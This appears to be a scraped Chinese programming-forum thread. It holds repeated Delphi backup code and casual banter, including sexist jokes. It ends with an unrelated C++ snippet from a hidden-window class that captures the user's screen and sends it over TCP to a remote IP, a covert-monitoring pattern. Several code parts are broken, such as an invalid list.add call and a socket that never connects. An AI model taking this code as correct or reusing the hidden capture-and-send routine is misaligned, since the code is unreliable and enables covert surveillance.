procedure TForm.btnClick(Sender: TObject);//选择备份的路径 var filename : string; begin opendialog.Filter := '数据文件(*.txt)|*.txt'; opendialog.InitialDir := '.\data'; opendialog.Title := '打开数据源文件'; if opendialog.Execute then begin filename :=opendialog.FileName; filename :=Trim(filename); Edit.Text := filename; end; end; 然后备份
procedure TForm.btnClick(Sender: TObject);//选择备份的路径 var filename : string; list : tstringlist; begin list := tstringlist.create; opendialog.Filter := '数据文件(*.txt)|*.txt'; opendialog.InitialDir := '.\data'; opendialog.Title := '打开数据源文件'; if opendialog.Execute then begin filename :=opendialog.FileName; filename :=Trim(filename); Edit.Text := filename; end; with tadoquery.create(nil) do begin connection := //你的adoconnection; sql.text := 'select * from tblname'; open; while not eof do begin list.add(fields[0].asstring,fields[1].asstring,..........); next; end; list.savetofile(filename); list.free; free; end; end; 我是帅哥,给分呀!呵呵
同意wangbo456(拼命三郎)的请CTRL+C
/* up,女不女的有关系吗? */IF(SEX == 女) THEN 帮忙; ELSE 看看就走;哈哈
var
filename : string;
begin
opendialog.Filter := '数据文件(*.txt)|*.txt';
opendialog.InitialDir := '.\data';
opendialog.Title := '打开数据源文件';
if opendialog.Execute then
begin
filename :=opendialog.FileName;
filename :=Trim(filename);
Edit.Text := filename;
end;
end;
然后备份
var
filename : string;
list : tstringlist;
begin
list := tstringlist.create;
opendialog.Filter := '数据文件(*.txt)|*.txt';
opendialog.InitialDir := '.\data';
opendialog.Title := '打开数据源文件';
if opendialog.Execute then
begin
filename :=opendialog.FileName;
filename :=Trim(filename);
Edit.Text := filename;
end;
with tadoquery.create(nil) do
begin
connection := //你的adoconnection;
sql.text := 'select * from tblname';
open;
while not eof do
begin
list.add(fields[0].asstring,fields[1].asstring,..........);
next;
end;
list.savetofile(filename);
list.free;
free;
end;
end;
我是帅哥,给分呀!呵呵
up,女不女的有关系吗?
*/IF(SEX == 女)
THEN 帮忙;
ELSE
看看就走;哈哈
我希望认识更多高手啊
我讨厌编程可是偏偏学的这个专业
我唯一有兴趣的是传奇和百战天虫 都是游戏 咯咯
看到这么多热心的人
我喜欢上了CSDN :)
我调试了 还有几个小错误不过很快可以搞定咯
能告诉我编程除了天赋外还有其它的因素吗?
我好象只对舞蹈有天赋 咯咯
还有 谁能说说学习JAVA有哪本书比较适合我这样的菜鸟起步?
30岁后就没有人要你 除非你是ROBORT BAGGIO
何况是女生
void CHideWnd::SnapScreen()
{
int iWidth,iHeight;
RECT rcCap;
CDC* pDesktopDC;
CBitmap *pBMP;
HWND hDesktopWindow = ::GetDesktopWindow();
// 取得桌面的矩形区域范围
::GetWindowRect(hDesktopWindow,&rcCap); pDesktopDC = new CDC;
pDesktopDC->Attach(::GetDC(hDesktopWindow)); // 创建内存设备描述表
iWidth = rcCap.right - rcCap.left;
iHeight = rcCap.bottom - rcCap.top;
//画上鼠标
HCURSOR hCur = GetCursor();
POINT pt;
GetCursorPos(&pt);
DrawIcon(pDesktopDC->m_hDC,pt.x,pt.y,hCur); // 拷贝屏幕的指定区域到位图
pBMP = new CBitmap();// 创建位图
pBMP->CreateCompatibleBitmap(pDesktopDC,iWidth,iHeight); //开始处理文件,先存为BMP
BITMAP bmp;
pBMP->GetBitmap(&bmp);
DWORD size=bmp.bmWidthBytes*bmp.bmHeight;
LPSTR lpData=(LPSTR)GlobalAlloc(GPTR,size); BITMAPINFOHEADER bih;
bih.biBitCount=bmp.bmBitsPixel;
bih.biClrImportant=0;
bih.biClrUsed=0;
bih.biCompression= BI_RGB;
bih.biHeight=bmp.bmHeight;
bih.biPlanes= 1;
bih.biSize= sizeof(BITMAPINFOHEADER);
bih.biSizeImage=size;
bih.biWidth=bmp.bmWidth;
bih.biXPelsPerMeter=0;
bih.biYPelsPerMeter=0;// GetDIBits(dc,bm,0,bih.biHeight,lpData,(BITMAPINFO*)&bih,DIB_RGB_COLORS); BITMAPFILEHEADER bfh;
bfh.bfReserved1=bfh.bfReserved2=0;
bfh.bfType=((WORD)('M'<< 8)|'B');
bfh.bfSize=54+size;
bfh.bfOffBits=54;
CFile bf;
if(bf.Open("\\tmp.bmp",CFile::modeCreate|CFile::modeWrite)){
bf.WriteHuge(&bfh,sizeof(BITMAPFILEHEADER));
bf.WriteHuge(&bih,sizeof(BITMAPINFOHEADER));
bf.WriteHuge(lpData,size);
bf.Close();
}
GlobalFree(lpData); //BMP->JPG
typedef bool(__stdcall CHANGE)(char *,char *);
HINSTANCE hInst;
CHANGE *pFunc;/*/D:\\Program Files\\Borland\\CBuilder6\\Projects\\*/
hInst = ::LoadLibrary("jpgdll.dll");
pFunc = (CHANGE*)::GetProcAddress(hInst,"BmpToJpg");
pFunc("\\tmp.bmp","\\tmp.jpg");
::FreeLibrary(hInst); SendFile();}int CHideWnd::SendFile() //TCP发送信息线程
{
CSocket sockClient;
sockClient.Create(0,SOCK_STREAM,m_strIP);
sockClient.GetSockName(m_strIP,m_uPort); int iSuccess =0; CFile myFile;
if(!myFile.Open("\\tmp.jpg", CFile::modeRead | CFile::typeBinary))
return -1; myFile.Seek(0,CFile::begin);
char m_buf[FILESIZE]={0};
CString strError;
int num=0;
while(num=myFile.Read(m_buf, FILESIZE))
{
iSuccess=sockClient.Send(m_buf,num);
iSuccess+=iSuccess;
if(iSuccess==SOCKET_ERROR)
{
AfxMessageBox("_SendFileThread Send错误!"+GetError(GetLastError()));
break;
}
} myFile.Close();
sockClient.Close();
return 0;
}